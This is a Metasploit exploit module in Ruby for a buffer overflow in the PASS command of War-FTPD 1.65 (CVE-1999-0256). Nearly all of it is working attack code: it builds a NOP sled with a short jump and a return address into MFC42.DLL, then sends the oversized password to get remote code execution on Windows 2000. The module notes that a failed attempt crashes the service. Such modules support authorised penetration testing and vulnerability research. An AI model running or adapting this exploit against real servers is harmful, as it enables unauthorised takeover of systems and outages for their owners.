War-FTPD 1.65 Password Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'War-FTPD 1.65 Password Overflow',  
'Description' => %q{  
This exploits the buffer overflow found in the PASS command  
in War-FTPD 1.65. This particular module will only work  
reliably against Windows 2000 targets. The server must be  
configured to allow anonymous logins for this exploit to  
succeed. A failed attempt will bring down the service  
completely.  
},  
'Author' => 'hdm',  
'License' => BSD_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '1999-0256'],  
[ 'OSVDB', '875' ],  
[ 'BID', '10078' ],  
[ 'URL', 'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ],  
],  
'DefaultOptions' =>   
{  
'EXITFUNC' => 'process'  
},  
'Payload' =>  
{  
'Space' => 424,  
'BadChars' => "\x00\x0a\x0d\x40",  
'StackAdjustment' => -3500,  
'Compat' =>  
{  
'ConnectionType' => "-find"  
}  
},  
'Targets' =>  
[  
# Target 0  
[  
'Windows 2000',  
{  
'Platform' => 'win',  
'Ret' => 0x5f4e772b # jmp ebx in the included MFC42.DLL  
},  
],  
]))  
  
end  
  
def exploit  
connect  
  
print_status("Trying target #{target.name}...")  
  
buf = make_nops(566) + payload.encoded  
buf[558, 2] = "\xeb\x06"  
buf[562, 4] = [ target.ret ].pack('V')  
  
# Send USER Command  
send_user(datastore['FTPUSER'])  
  
# Send PASS Command  
send_cmd(['PASS', buf], false)  
  
handler  
disconnect  
end  
  
end  
`